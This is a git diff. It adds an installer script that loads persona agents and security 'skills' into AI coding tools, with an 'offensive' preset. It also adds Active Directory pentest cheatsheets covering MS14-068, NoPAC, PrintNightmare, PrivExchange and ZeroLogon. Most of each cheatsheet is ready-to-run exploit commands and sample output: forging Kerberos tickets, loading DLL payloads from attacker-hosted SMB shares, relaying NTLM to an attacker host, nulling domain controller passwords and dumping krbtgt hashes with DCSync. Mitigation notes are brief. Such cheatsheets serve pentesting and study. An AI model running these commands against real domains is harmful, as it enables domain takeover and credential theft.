agent_filename = f"{agent_ident}.md"
(agents_dir / agent_filename).write_text(
frontmatter + body, encoding="utf-8"
)
emitted_agents.add(agent_filename)
agent_count += 1
# Remove stale agents we emitted on a previous run but not this one. Track
# via sidecar manifest so hand-authored files in agents/ are never touched.
manifest_path = agents_dir / ".personas-manifest.json"
previously_emitted: set[str] = set()
if manifest_path.exists():
try:
previously_emitted = set(
json.loads(manifest_path.read_text(encoding="utf-8")).get("agents", [])
)
except Exception:
previously_emitted = set()
stale = sorted(previously_emitted - emitted_agents)
for name_ in stale:
stale_path = agents_dir / name_
if stale_path.exists():
stale_path.unlink()
manifest_path.write_text(
json.dumps(
{"agents": sorted(emitted_agents)}, indent=2, ensure_ascii=False
),
encoding="utf-8",
)
if stale:
print(f" OpenCode: pruned {len(stale)} stale agent file(s)")
# Install shared skills with topic filter. OpenCode reads SKILL.md with
# name+description frontmatter (same as Claude).
skill_count = 0
per_topic: dict[str, int] = {}
skipped_topic = 0
# Purge existing skills dir so stale filtered-out skills are removed.
if skills_dir.exists():
import shutil as _shutil
for existing in skills_dir.iterdir():
if existing.is_dir():
_shutil.rmtree(existing)
if shared_dir:
for skills_subdir in ["skills", "paperclip-skills", "community-skills"]:
src_root = shared_dir / skills_subdir
if not src_root.exists():
continue
for skill_dir in src_root.iterdir():
if not skill_dir.is_dir():
continue
src_skill = skill_dir / "SKILL.md"
if not src_skill.exists():
continue
# Honor opencode name regex: ^[a-z0-9]+(-[a-z0-9]+)*$.
sanitized = skill_dir.name.lower()
if not re.match(r"^[a-z0-9]+(-[a-z0-9]+)*$", sanitized):
continue
# Topic filter — drop skills not in requested topics.
fm = _parse_skill_frontmatter_simple(src_skill)
topic = _classify_skill_topic(skill_dir.name, fm)
if topic not in topics:
skipped_topic += 1
continue
per_topic[topic] = per_topic.get(topic, 0) + 1
dest_dir = skills_dir / sanitized
dest_dir.mkdir(parents=True, exist_ok=True)
dest_skill = dest_dir / "SKILL.md"
dest_skill.write_text(
src_skill.read_text(encoding="utf-8"), encoding="utf-8"
)
# Copy references/ if present.
refs = skill_dir / "references"
if refs.exists() and refs.is_dir():
dest_refs = dest_dir / "references"
dest_refs.mkdir(exist_ok=True)
for ref in refs.iterdir():
if ref.is_file():
(dest_refs / ref.name).write_text(
ref.read_text(encoding="utf-8"),
encoding="utf-8",
)
skill_count += 1
print(
f" OpenCode: {agent_count} agents installed to {agents_dir}"
)
print(
f" OpenCode skills: {skill_count} installed "
f"({skipped_topic} skipped by topic filter)"
)
if per_topic:
print(" Per topic: " + ", ".join(
f"{k}={v}" for k, v in sorted(per_topic.items(), key=lambda x: -x[1])
))
return agent_count
def install_gemini(output_dir: Path):
"""Install personas as Gemini Gems (JSON format for Google AI Studio)."""
gems_dir = output_dir / "_gems"
@@ -1337,8 +1915,76 @@ def main():
)
parser.add_argument(
"--install",
choices=["claude", "antigravity", "gemini", "openclaw", "paperclip", "all"],
help="Install generated personas to a target platform",
choices=[
"claude",
"claude-skills",
"antigravity",
"gemini",
"openclaw",
"opencode",
"paperclip",
"all",
],
help="Install generated personas to a target platform. "
"'claude' installs persona agents+commands; 'claude-skills' installs "
"shared skills to ~/.claude/skills/ with category filters.",
)
# --- claude-skills filters --------------------------------------------
parser.add_argument(
"--skill-sources",
default="skills,paperclip-skills",
help="Comma-separated list of _shared/<dir> sources for claude-skills "
"(available: skills,paperclip-skills,community-skills). "
"Default: skills,paperclip-skills",
)
parser.add_argument(
"--skill-subdomains",
default=None,
help="Comma-separated subdomain filter (e.g. "
"'red-teaming,penetration-testing,threat-hunting,malware-analysis'). "
"Skills without a subdomain in frontmatter pass through. Default: no filter.",
)
parser.add_argument(
"--skill-prefix",
default=None,
help="Comma-separated name-prefix filter "
"(e.g. 'performing,detecting,hunting,exploiting,analyzing,testing'). "
"Default: no filter.",
)
parser.add_argument(
"--skill-exclude",
default=None,
metavar="REGEX",
help="Skip skills whose name matches this regex.",
)
parser.add_argument(
"--skill-dry-run",
action="store_true",
help="Preview which skills would be installed without copying.",
)
parser.add_argument(
"--skill-force",
action="store_true",
help="Overwrite existing skill dirs at ~/.claude/skills/<name>/.",
)
parser.add_argument(
"--skill-preset",
choices=["offensive", "defensive", "ctiops", "minimal", "all"],
default=None,
help="Quick preset that sets --skill-subdomains and --skill-prefix together. "
"offensive=red-team+pentest+exploit verbs; defensive=DFIR+threat-hunting; "
"ctiops=threat-intel+APT; minimal=top categories only; all=no filters.",
)
parser.add_argument(
"--opencode-topics",
default=None,
help="Comma-separated topic filter for --install opencode. "
"Topics: security-offensive, security-defensive, security-cloud, "
"security-specialized, security-iam, security-network, security-general, "
"ai-llm-dev, coding-backend, coding-frontend, coding-tools, cloud-infra, "
"database, browser-scrape, ops-sysadmin, osint-intel, marketing-content, "
"business-pm, uncategorized. "
"Default drops marketing/biz. Use 'all' for no filter.",
)
parser.add_argument(
"--search",
@@ -1418,23 +2064,95 @@ def main():
personas_dir, output_dir, config, flat_config, shared_dir
)
# Resolve claude-skills filter args (presets + explicit flags).
PRESETS = {
"offensive": {
"subdomains": "red-teaming,penetration-testing,web-application-security,"
"api-security,identity-access-management",
"prefix": "performing,exploiting,testing,hunting,analyzing,scanning",
},
"defensive": {
"subdomains": "digital-forensics,incident-response,threat-hunting,"
"soc-operations,security-operations,endpoint-security,malware-analysis",
"prefix": "detecting,analyzing,hunting,implementing,building",
},
"ctiops": {
"subdomains": "threat-intelligence,threat-hunting,malware-analysis",
"prefix": "analyzing,hunting,detecting",
},
"minimal": {
"subdomains": "red-teaming,penetration-testing,threat-hunting,"
"digital-forensics,incident-response",
"prefix": "performing,detecting,hunting,exploiting,analyzing",
},
"all": {"subdomains": None, "prefix": None},
}
if args.skill_preset:
preset = PRESETS[args.skill_preset]
if args.skill_subdomains is None and preset.get("subdomains"):
args.skill_subdomains = preset["subdomains"]
if args.skill_prefix is None and preset.get("prefix"):
args.skill_prefix = preset["prefix"]
skill_sources = [s.strip() for s in args.skill_sources.split(",") if s.strip()]
skill_subdomains = (
set(s.strip() for s in args.skill_subdomains.split(",") if s.strip())
if args.skill_subdomains
else None
)
skill_prefixes = (
[p.strip() for p in args.skill_prefix.split(",") if p.strip()]
if args.skill_prefix
else None
)
# Platform installation
if args.install:
print(f"\n--- Installing to: {args.install} ---\n")
targets = (
["claude", "antigravity", "gemini", "openclaw", "paperclip"]
if args.install == "all"
else [args.install]
)
if args.install == "all":
targets = [
"claude",
"claude-skills",
"antigravity",
"gemini",
"openclaw",
"opencode",
"paperclip",
]
else:
targets = [args.install]
for target in targets:
if target == "claude":
install_claude(output_dir)
elif target == "claude-skills":
install_claude_skills(
shared_dir,
sources=skill_sources,
subdomains=skill_subdomains,
prefixes=skill_prefixes,
exclude_regex=args.skill_exclude,
dry_run=args.skill_dry_run,
force=args.skill_force,
)
elif target == "antigravity":
install_antigravity(output_dir)
elif target == "gemini":
install_gemini(output_dir)
elif target == "openclaw":
install_openclaw(output_dir)
elif target == "opencode":
if args.opencode_topics:
if args.opencode_topics.strip().lower() == "all":
oc_topics = OPENCODE_TOPICS
else:
oc_topics = {
t.strip()
for t in args.opencode_topics.split(",")
if t.strip()
}
else:
oc_topics = None # use default
install_opencode(output_dir, shared_dir, topics=oc_topics)
elif target == "paperclip":
install_paperclip(output_dir, personas_dir, shared_dir)

View File

@@ -0,0 +1,11 @@
# DISCLAIMER
The authors and contributors of this repository disclaim any and all responsibility for the misuse of the information, tools, or techniques described herein. The content is provided solely for educational and research purposes. Users are strictly advised to utilize this information in accordance with applicable laws and regulations and only on systems for which they have explicit authorization.
By accessing and using this repository, you agree to:
* Refrain from using the provided information for any unethical or illegal activities.
* Ensure that all testing and experimentation are conducted responsibly and with proper authorization.
* Acknowledge that any actions you take based on the contents of this repository are solely your responsibility.
Neither the authors nor contributors shall be held liable for any damages, direct or indirect, resulting from the misuse or unauthorized application of the knowledge contained herein. Always act mindfully, ethically, and within the boundaries of the law.

View File

@@ -0,0 +1,28 @@
# Internal All The Things
Active Directory and Internal Pentest Cheatsheets
An alternative display version is available at [Internal All The Things - Web version](https://swisskyrepo.github.io/InternalAllTheThings/).
<p align="center">
<img alt="banner" src="https://raw.githubusercontent.com/swisskyrepo/InternalAllTheThings/master/assets/banner.png">
</p>
## 📖 Documentation
* Feel free to update any pages with your knowledge by submitting a Pull Request
* Content in this repository is provided as is, for learning purpose. The author and contributors take no responsibility if you break something.
## 👨‍💻 Contributions
<p align="center">
<a href="https://github.com/swisskyrepo/InternalAllTheThings/graphs/contributors">
<img alt="contributors-list" src="https://contrib.rocks/image?repo=swisskyrepo/InternalAllTheThings&max=36">
</a>
</p>
Thanks again for your contribution! :heart:
You can also share the project and contribute with a Github Sponsorship.
[![Tweet](https://img.shields.io/twitter/url/http/shields.io.svg?style=social)](https://twitter.com/intent/tweet?text=Internal%20All%20The%20Things,%20a%20list%20of%20useful%20payloads%20and%20bypasses%20for%20Internal%20Security%20Assessments-%20by%20@pentest_swissky&url=https://github.com/swisskyrepo/InternalAllTheThings)
[![Sponsor](https://img.shields.io/static/v1?label=Sponsor&message=%E2%9D%A4&logo=GitHub&link=https://github.com/sponsors/swisskyrepo)](https://github.com/sponsors/swisskyrepo)

View File

@@ -0,0 +1,83 @@
# MS14-068 Checksum Validation
This exploit require to know the user SID, you can use `rpcclient` to remotely get it or `wmi` if you have an access on the machine.
* RPCClient
```powershell
rpcclient $> lookupnames john.smith
john.smith S-1-5-21-2923581646-3335815371-2872905324-1107 (User: 1)
```
* WMI
```powershell
wmic useraccount get name,sid
Administrator S-1-5-21-3415849876-833628785-5197346142-500
Guest S-1-5-21-3415849876-833628785-5197346142-501
Administrator S-1-5-21-297520375-2634728305-5197346142-500
Guest S-1-5-21-297520375-2634728305-5197346142-501
krbtgt S-1-5-21-297520375-2634728305-5197346142-502
lambda S-1-5-21-297520375-2634728305-5197346142-1110
```
* Powerview
```powershell
Convert-NameToSid high-sec-corp.localkrbtgt
S-1-5-21-2941561648-383941485-1389968811-502
```
* netexec: `netexec ldap DC1.lab.local -u username -p password -k --get-sid`
```bash
Doc: https://github.com/gentilkiwi/kekeo/wiki/ms14068
```
Generate a ticket with `metasploit` or `pykek`
```powershell
Metasploit: auxiliary/admin/kerberos/ms14_068_kerberos_checksum
Name Current Setting Required Description
---- --------------- -------- -----------
DOMAIN LABDOMAIN.LOCAL yes The Domain (upper case) Ex: DEMO.LOCAL
PASSWORD P@ssw0rd yes The Domain User password
RHOSTS 10.10.10.10 yes The target address range or CIDR identifier
RPORT 88 yes The target port
Timeout 10 yes The TCP timeout to establish connection and read data
USER lambda yes The Domain User
USER_SID S-1-5-21-297520375-2634728305-5197346142-1106 yes The Domain User SID, Ex: S-1-5-21-1755879683-3641577184-3486455962-1000
```
```powershell
# Alternative download: https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek
$ git clone https://github.com/SecWiki/windows-kernel-exploits
$ python ./ms14-068.py -u <userName>@<domainName> -s <userSid> -d <domainControlerAddr> -p <clearPassword>
$ python ./ms14-068.py -u darthsidious@lab.adsecurity.org -p TheEmperor99! -s S-1-5-21-1473643419-774954089-2222329127-1110 -d adsdc02.lab.adsecurity.org
$ python ./ms14-068.py -u john.smith@pwn3d.local -s S-1-5-21-2923581646-3335815371-2872905324-1107 -d 192.168.115.10
$ python ms14-068.py -u user01@metasploitable.local -d msfdc01.metasploitable.local -p Password1 -s S-1-5-21-2928836948-3642677517-2073454066
-1105
[+] Building AS-REQ for msfdc01.metasploitable.local... Done!
[+] Sending AS-REQ to msfdc01.metasploitable.local... Done!
[+] Receiving AS-REP from msfdc01.metasploitable.local... Done!
[+] Parsing AS-REP from msfdc01.metasploitable.local... Done!
[+] Building TGS-REQ for msfdc01.metasploitable.local... Done!
[+] Sending TGS-REQ to msfdc01.metasploitable.local... Done!
[+] Receiving TGS-REP from msfdc01.metasploitable.local... Done!
[+] Parsing TGS-REP from msfdc01.metasploitable.local... Done!
[+] Creating ccache file 'TGT_user01@metasploitable.local.ccache'... Done!
```
Then use `mimikatz` to load the ticket.
```powershell
mimikatz.exe "kerberos::ptc c:\temp\TGT_darthsidious@lab.adsecurity.org.ccache"
```
## Mitigations
* Ensure the DCPromo process includes a patch QA step before running DCPromo that checks for installation of KB3011780. The quick and easy way to perform this check is with PowerShell: get-hotfix 3011780
## References
* [Exploiting MS14-068 with PyKEK and Kali - 14 DEC 2014 - ZACH GRACE @ztgrace](https://zachgrace.com/posts/exploiting-ms14-068/)

View File

@@ -0,0 +1,164 @@
# NoPAC / samAccountName Spoofing
During S4U2Self, the KDC will try to append a '\$' to the computer name specified in the TGT, if the computer name is not found.
An attacker can create a new machine account with the sAMAccountName set to a domain controller's sAMAccountName - without the '\$'.
For instance, suppose there is a domain controller with a sAMAccountName set to 'DC\$'.
An attacker would then create a machine account with the sAMAccountName set to 'DC'.
The attacker can then request a TGT for the newly created machine account.
After the TGT has been issued by the KDC, the attacker can rename the newly created machine account to something different, e.g. JOHNS-PC.
The attacker can then perform S4U2Self and request a ST to itself as any user.
Since the machine account with the sAMAccountName set to 'DC' has been renamed, the KDC will try to find the machine account by appending a '$', which will then match the domain controller. The KDC will then issue a valid ST for the domain controller.
**Requirements**:
* MachineAccountQuota > 0
**Check for exploitation**:
* Check the MachineAccountQuota of the account
```powershell
netexec ldap 10.10.10.10 -u username -p 'Password123' -d 'domain.local' --kdcHost 10.10.10.10 -M MAQ
StandIn.exe --object ms-DS-MachineAccountQuota=*
```
* Check if the DC is vulnerable
```powershell
netexec smb 10.10.10.10 -u '' -p '' -d domain -M nopac
```
**Exploitation**:
1. Create a computer account
```powershell
impacket@linux> addcomputer.py -computer-name 'ControlledComputer$' -computer-pass 'ComputerPassword' -dc-host DC01 -domain-netbios domain 'domain.local/user1:complexpassword'
powermad@windows> . .\Powermad.ps1
powermad@windows> $password = ConvertTo-SecureString 'ComputerPassword' -AsPlainText -Force
powermad@windows> New-MachineAccount -MachineAccount "ControlledComputer" -Password $($password) -Domain "domain.local" -DomainController "DomainController.domain.local" -Verbose
sharpmad@windows> Sharpmad.exe MAQ -Action new -MachineAccount ControlledComputer -MachinePassword ComputerPassword
```
2. Clear the controlled machine account `servicePrincipalName` attribute
```ps1
krbrelayx@linux> addspn.py -u 'domain\user' -p 'password' -t 'ControlledComputer$' -c DomainController
powershell@windows> . .\Powerview.ps1
powershell@windows> Set-DomainObject "CN=ControlledComputer,CN=Computers,DC=domain,DC=local" -Clear 'serviceprincipalname' -Verbose
```
3. (CVE-2021-42278) Change the controlled machine account `sAMAccountName` to a Domain Controller's name without the trailing `$`
```ps1
# https://github.com/SecureAuthCorp/impacket/pull/1224
impacket@linux> renameMachine.py -current-name 'ControlledComputer$' -new-name 'DomainController' -dc-ip 'DomainController.domain.local' 'domain.local'/'user':'password'
powermad@windows> Set-MachineAccountAttribute -MachineAccount "ControlledComputer" -Value "DomainController" -Attribute samaccountname -Verbose
```
4. Request a TGT for the controlled machine account
```ps1
impacket@linux> getTGT.py -dc-ip 'DomainController.domain.local' 'domain.local'/'DomainController':'ComputerPassword'
cmd@windows> Rubeus.exe asktgt /user:"DomainController" /password:"ComputerPassword" /domain:"domain.local" /dc:"DomainController.domain.local" /nowrap
```
5. Reset the controlled machine account sAMAccountName to its old value
```ps1
impacket@linux> renameMachine.py -current-name 'DomainController' -new-name 'ControlledComputer$' 'domain.local'/'user':'password'
powermad@windows> Set-MachineAccountAttribute -MachineAccount "ControlledComputer" -Value "ControlledComputer" -Attribute samaccountname -Verbose
```
6. (CVE-2021-42287) Request a service ticket with `S4U2self` by presenting the TGT obtained before
```ps1
# https://github.com/SecureAuthCorp/impacket/pull/1202
impacket@linux> KRB5CCNAME='DomainController.ccache' getST.py -self -impersonate 'DomainAdmin' -spn 'cifs/DomainController.domain.local' -k -no-pass -dc-ip 'DomainController.domain.local' 'domain.local'/'DomainController'
cmd@windows> Rubeus.exe s4u /self /impersonateuser:"DomainAdmin" /altservice:"ldap/DomainController.domain.local" /dc:"DomainController.domain.local" /ptt /ticket:[Base64 TGT]
```
7. DCSync
```ps1
KRB5CCNAME='DomainAdmin.ccache' secretsdump.py -just-dc-user 'krbtgt' -k -no-pass -dc-ip 'DomainController.domain.local' @'DomainController.domain.local'
```
Automated exploitation:
* [cube0x0/noPac](https://github.com/cube0x0/noPac) - Windows
```powershell
noPac.exe scan -domain htb.local -user user -pass 'password123'
noPac.exe -domain htb.local -user domain_user -pass 'Password123!' /dc dc.htb.local /mAccount demo123 /mPassword Password123! /service cifs /ptt
noPac.exe -domain htb.local -user domain_user -pass "Password123!" /dc dc.htb.local /mAccount demo123 /mPassword Password123! /service ldaps /ptt /impersonate Administrator
```
* [Ridter/noPac](https://github.com/Ridter/noPac) - Linux
```ps1
python noPac.py 'domain.local/user' -hashes ':31d6cfe0d16ae931b73c59d7e0c089c0' -dc-ip 10.10.10.10 -use-ldap -dump
```
* [WazeHell/sam-the-admin](https://github.com/WazeHell/sam-the-admin)
```ps1
$ python3 sam_the_admin.py "domain/user:password" -dc-ip 10.10.10.10 -shell
[*] Selected Target dc.caltech.white
[*] Total Domain Admins 11
[*] will try to impersonat gaylene.dreddy
[*] Current ms-DS-MachineAccountQuota = 10
[*] Adding Computer Account "SAMTHEADMIN-11$"
[*] MachineAccount "SAMTHEADMIN-11$" password = EhFMT%mzmACL
[*] Successfully added machine account SAMTHEADMIN-11$ with password EhFMT%mzmACL.
[*] SAMTHEADMIN-11$ object = CN=SAMTHEADMIN-11,CN=Computers,DC=caltech,DC=white
[*] SAMTHEADMIN-11$ sAMAccountName == dc
[*] Saving ticket in dc.ccache
[*] Resting the machine account to SAMTHEADMIN-11$
[*] Restored SAMTHEADMIN-11$ sAMAccountName to original value
[*] Using TGT from cache
[*] Impersonating gaylene.dreddy
[*] Requesting S4U2self
[*] Saving ticket in gaylene.dreddy.ccache
[!] Launching semi-interactive shell - Careful what you execute
C:\Windows\system32>whoami
nt authority\system
```
* [ly4k/Pachine](https://github.com/ly4k/Pachine)
```powershell
usage: pachine.py [-h] [-scan] [-spn SPN] [-impersonate IMPERSONATE] [-domain-netbios NETBIOSNAME] [-computer-name NEW-COMPUTER-NAME$] [-computer-pass password] [-debug] [-method {SAMR,LDAPS}] [-port {139,445,636}] [-baseDN DC=test,DC=local]
[-computer-group CN=Computers,DC=test,DC=local] [-hashes LMHASH:NTHASH] [-no-pass] [-k] [-aesKey hex key] -dc-host hostname [-dc-ip ip]
[domain/]username[:password]
$ python3 pachine.py -dc-host dc.domain.local -scan 'domain.local/john:Passw0rd!'
$ python3 pachine.py -dc-host dc.domain.local -spn cifs/dc.domain.local -impersonate administrator 'domain.local/john:Passw0rd!'
$ export KRB5CCNAME=$PWD/administrator@domain.local.ccache
$ impacket-psexec -k -no-pass 'domain.local/administrator@dc.domain.local'
```
**Mitigations**:
* [KB5007247 - Windows Server 2012 R2](https://support.microsoft.com/en-us/topic/november-9-2021-kb5007247-monthly-rollup-2c3b6017-82f4-4102-b1e2-36f366bf3520)
* [KB5008601 - Windows Server 2016](https://support.microsoft.com/en-us/topic/november-14-2021-kb5008601-os-build-14393-4771-out-of-band-c8cd33ce-3d40-4853-bee4-a7cc943582b9)
* [KB5008602 - Windows Server 2019](https://support.microsoft.com/en-us/topic/november-14-2021-kb5008602-os-build-17763-2305-out-of-band-8583a8a3-ebed-4829-b285-356fb5aaacd7)
* [KB5007205 - Windows Server 2022](https://support.microsoft.com/en-us/topic/november-9-2021-kb5007205-os-build-20348-350-af102e6f-cc7c-4cd4-8dc2-8b08d73d2b31)
* [KB5008102](https://support.microsoft.com/en-us/topic/kb5008102-active-directory-security-accounts-manager-hardening-changes-cve-2021-42278-5975b463-4c95-45e1-831a-d120004e258e)
* [KB5008380](https://support.microsoft.com/en-us/topic/kb5008380-authentication-updates-cve-2021-42287-9dafac11-e0d0-4cb8-959a-143bd0201041)
## References
* [sAMAccountName spoofing - The Hacker Recipes](https://www.thehacker.recipes/ad/movement/kerberos/samaccountname-spoofing)

View File

@@ -0,0 +1,112 @@
# PrintNightmare
> CVE-2021-1675 / CVE-2021-34527
The DLL will be stored in `C:\Windows\System32\spool\drivers\x64\3\`.
The exploit will execute the DLL either from the local filesystem or a remote share.
Requirements:
* **Spooler Service** enabled (Mandatory)
* Server with patches < June 2021
* DC with `Pre Windows 2000 Compatibility` group
* Server with registry key `HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows NT\Printers\PointAndPrint\NoWarningNoElevationOnInstall` = (DWORD) 1
* Server with registry key `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA` = (DWORD) 0
**Detect the vulnerability**:
* Impacket - [impacket/rpcdump](https://raw.githubusercontent.com/SecureAuthCorp/impacket/master/examples/rpcdump.py)
```ps1
python3 ./rpcdump.py @10.0.2.10 | egrep 'MS-RPRN|MS-PAR'
Protocol: [MS-RPRN]: Print System Remote Protocol
```
* [byt3bl33d3r/ItWasAllADream](https://github.com/byt3bl33d3r/ItWasAllADream)
```ps1
cd ItWasAllADream && poetry install && poetry shell
itwasalladream -u user -p Password123 -d domain 10.10.10.10/24
docker run -it itwasalladream -u username -p Password123 -d domain 10.10.10.10
```
**Payload Hosting**:
* The payload can be hosted on Impacket SMB server since [PR #1109](https://github.com/SecureAuthCorp/impacket/pull/1109):
```ps1
python3 ./smbserver.py share /tmp/smb/
```
* Using [3gstudent/Invoke-BuildAnonymousSMBServer](https://github.com/3gstudent/Invoke-BuildAnonymousSMBServer/blob/main/Invoke-BuildAnonymousSMBServer.ps1) (Admin rights required on host):
```ps1
Import-Module .\Invoke-BuildAnonymousSMBServer.ps1; Invoke-BuildAnonymousSMBServer -Path C:\Share -Mode Enable
```
* Using WebDav with [SharpWebServer](https://github.com/mgeeky/SharpWebServer) (Doesn't require admin rights):
```ps1
SharpWebServer.exe port=8888 dir=c:\users\public verbose=true
```
When using WebDav instead of SMB, you must add `@[PORT]` to the hostname in the URI, e.g.: `\\172.16.1.5@8888\Downloads\beacon.dll`
WebDav client **must** be activated on exploited target. By default it is not activated on Windows workstations (you have to `net start webclient`) and it's not installed on servers. Here is how to detect activated webdav:
```ps1
nxc smb -u user -p password -d domain.local -M webdav [TARGET]
```
**Trigger the exploit**:
* [cube0x0/SharpNightmare](https://github.com/cube0x0/CVE-2021-1675)
```powershell
# require a modified Impacket: https://github.com/cube0x0/impacket
python3 ./CVE-2021-1675.py hackit.local/domain_user:Pass123@192.168.1.10 '\\192.168.1.215\smb\addCube.dll'
python3 ./CVE-2021-1675.py hackit.local/domain_user:Pass123@192.168.1.10 'C:\addCube.dll'
## LPE
SharpPrintNightmare.exe C:\addCube.dll
## RCE using existing context
SharpPrintNightmare.exe '\\192.168.1.215\smb\addCube.dll' 'C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_addb31f9bff9e936\Amd64\UNIDRV.DLL' '\\192.168.1.20'
## RCE using runas /netonly
SharpPrintNightmare.exe '\\192.168.1.215\smb\addCube.dll' 'C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_83aa9aebf5dffc96\Amd64\UNIDRV.DLL' '\\192.168.1.10' hackit.local domain_user Pass123
```
* [calebstewart/Invoke-Nightmare](https://github.com/calebstewart/CVE-2021-1675)
```powershell
## LPE only (PS1 + DLL)
Import-Module .\cve-2021-1675.ps1
Invoke-Nightmare # add user `adm1n`/`P@ssw0rd` in the local admin group by default
Invoke-Nightmare -DriverName "Dementor" -NewUser "d3m3nt0r" -NewPassword "AzkabanUnleashed123*"
Invoke-Nightmare -DLL "C:\absolute\path\to\your\bindshell.dll"
```
* [gentilkiwi/mimikatz v2.2.0-20210709+](https://github.com/gentilkiwi/mimikatz/releases)
```powershell
## LPE
misc::printnightmare /server:DC01 /library:C:\Users\user1\Documents\mimispool.dll
## RCE
misc::printnightmare /server:CASTLE /library:\\10.0.2.12\smb\beacon.dll /authdomain:LAB /authuser:Username /authpassword:Password01 /try:50
```
* [outflanknl/PrintNightmare](https://github.com/outflanknl/PrintNightmare)
```powershell
PrintNightmare [target ip or hostname] [UNC path to payload Dll] [optional domain] [optional username] [optional password]
```
**Debug informations**
| Error | Message | Debug |
|--------|-----------------------|------------------------------------------|
| 0x5 | `rpc_s_access_denied` | Permissions on the file in the SMB share |
| 0x525 | `ERROR_NO_SUCH_USER` | The specified account does not exist. |
| 0x180 | unknown error code | Share is not SMB2 |
## References
* [Playing with PrintNightmare - 0xdf - Jul 8, 2021](https://0xdf.gitlab.io/2021/07/08/playing-with-printnightmare.html)
* [A Practical Guide to PrintNightmare in 2024 - itm4n - Jan 28, 2024](https://itm4n.github.io/printnightmare-exploitation/)

View File

@@ -0,0 +1,59 @@
# PrivExchange
Exchange your privileges for Domain Admin privs by abusing Exchange.
:warning: You need a shell on a user account with a mailbox.
1. Exchange server hostname or IP address
```bash
pth-net rpc group members "Exchange Servers" -I dc01.domain.local -U domain/username
```
2. Relay of the Exchange server authentication and privilege escalation (using ntlmrelayx from Impacket).
```powershell
ntlmrelayx.py -t ldap://dc01.domain.local --escalate-user username
```
3. Subscription to the push notification feature (using privexchange.py or powerPriv), uses the credentials of the current user to authenticate to the Exchange server. Forcing the Exchange server's to send back its NTLMv2 hash to a controlled machine.
```bash
# https://github.com/dirkjanm/PrivExchange/blob/master/privexchange.py
python privexchange.py -ah xxxxxxx -u xxxx -d xxxxx
python privexchange.py -ah 10.0.0.2 mail01.domain.local -d domain.local -u user_exchange -p pass_exchange
# https://github.com/G0ldenGunSec/PowerPriv
powerPriv -targetHost corpExch01 -attackerHost 192.168.1.17 -Version 2016
```
4. Profit using secretdumps from Impacket, the user can now perform a dcsync and get another user's NTLM hash
```bash
python secretsdump.py xxxxxxxxxx -just-dc
python secretsdump.py lab/buff@192.168.0.2 -ntds ntds -history -just-dc-ntlm
```
5. Clean your mess and restore a previous state of the user's ACL
```powershell
python aclpwn.py --restore ../aclpwn-20190319-125741.restore
```
Alternatively you can use the Metasploit module
[`use auxiliary/scanner/http/exchange_web_server_pushsubscription`](https://github.com/rapid7/metasploit-framework/pull/11420)
Alternatively you can use an all-in-one tool : Exchange2domain.
```powershell
git clone github.com/Ridter/Exchange2domain
python Exchange2domain.py -ah attackterip -ap listenport -u user -p password -d domain.com -th DCip MailServerip
python Exchange2domain.py -ah attackterip -u user -p password -d domain.com -th DCip --just-dc-user krbtgt MailServerip
```
## References
* [Abusing Exchange: One API call away from Domain Admin - Dirk-jan Mollema](https://dirkjanm.io/abusing-exchange-one-api-call-away-from-domain-admin)
* [Exploiting PrivExchange - April 11, 2019 - @chryzsh](https://chryzsh.github.io/exploiting-privexchange/)
* [[PrivExchange] From user to domain admin in less than 60sec ! - davy](http://blog.randorisec.fr/privexchange-from-user-to-domain-admin-in-less-than-60sec/)
* [Red Teaming Made Easy with Exchange Privilege Escalation and PowerPriv - Thursday, January 31, 2019 - Dave](http://blog.redxorblue.com/2019/01/red-teaming-made-easy-with-exchange.html)

View File

@@ -0,0 +1,111 @@
# ZeroLogon
> CVE-2020-1472
**Exploitation**:
1. Spoofing the client credential
2. Disabling signing and sealing
3. Spoofing a call
4. Changing a computer's AD password to null
5. From password change to domain admin
6. :warning: reset the computer's AD password in a proper way to avoid any Deny of Service
**Tools**:
* `cve-2020-1472-exploit.py` - Python script from [dirkjanm](https://github.com/dirkjanm)
```powershell
# Check (https://github.com/SecuraBV/CVE-2020-1472)
proxychains python3 zerologon_tester.py DC01 172.16.1.5
$ git clone https://github.com/dirkjanm/CVE-2020-1472.git
# Activate a virtual env to install impacket
$ python3 -m venv venv
$ source venv/bin/activate
$ pip3 install .
# Exploit the CVE (https://github.com/dirkjanm/CVE-2020-1472/blob/master/cve-2020-1472-exploit.py)
proxychains python3 cve-2020-1472-exploit.py DC01 172.16.1.5
# Find the old NT hash of the DC
proxychains secretsdump.py -history -just-dc-user 'DC01$' -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 'CORP/DC01$@DC01.CORP.LOCAL'
# Restore password from secretsdump
# secretsdump will automatically dump the plaintext machine password (hex encoded)
# when dumping the local registry secrets on the newest version
python restorepassword.py CORP/DC01@DC01.CORP.LOCAL -target-ip 172.16.1.5 -hexpass e6ad4c4f64e71cf8c8020aa44bbd70ee711b8dce2adecd7e0d7fd1d76d70a848c987450c5be97b230bd144f3c3
deactivate
```
* `nccfsas` - .NET binary for Cobalt Strike's execute-assembly
```powershell
git clone https://github.com/nccgroup/nccfsas
# Check
execute-assembly SharpZeroLogon.exe win-dc01.vulncorp.local
# Resetting the machine account password
execute-assembly SharpZeroLogon.exe win-dc01.vulncorp.local -reset
# Testing from a non Domain-joined machine
execute-assembly SharpZeroLogon.exe win-dc01.vulncorp.local -patch
# Now reset the password back
```
* `Mimikatz` - 2.2.0 20200917 Post-Zerologon
```powershell
privilege::debug
# Check for the CVE
lsadump::zerologon /target:DC01.LAB.LOCAL /account:DC01$
# Exploit the CVE and set the computer account's password to ""
lsadump::zerologon /target:DC01.LAB.LOCAL /account:DC01$ /exploit
# Execute dcsync to extract some hashes
lsadump::dcsync /domain:LAB.LOCAL /dc:DC01.LAB.LOCAL /user:krbtgt /authuser:DC01$ /authdomain:LAB /authpassword:"" /authntlm
lsadump::dcsync /domain:LAB.LOCAL /dc:DC01.LAB.LOCAL /user:Administrator /authuser:DC01$ /authdomain:LAB /authpassword:"" /authntlm
# Pass The Hash with the extracted Domain Admin hash
sekurlsa::pth /user:Administrator /domain:LAB /rc4:HASH_NTLM_ADMIN
# Use IP address instead of FQDN to force NTLM with Windows APIs
# Reset password to Waza1234/Waza1234/Waza1234/
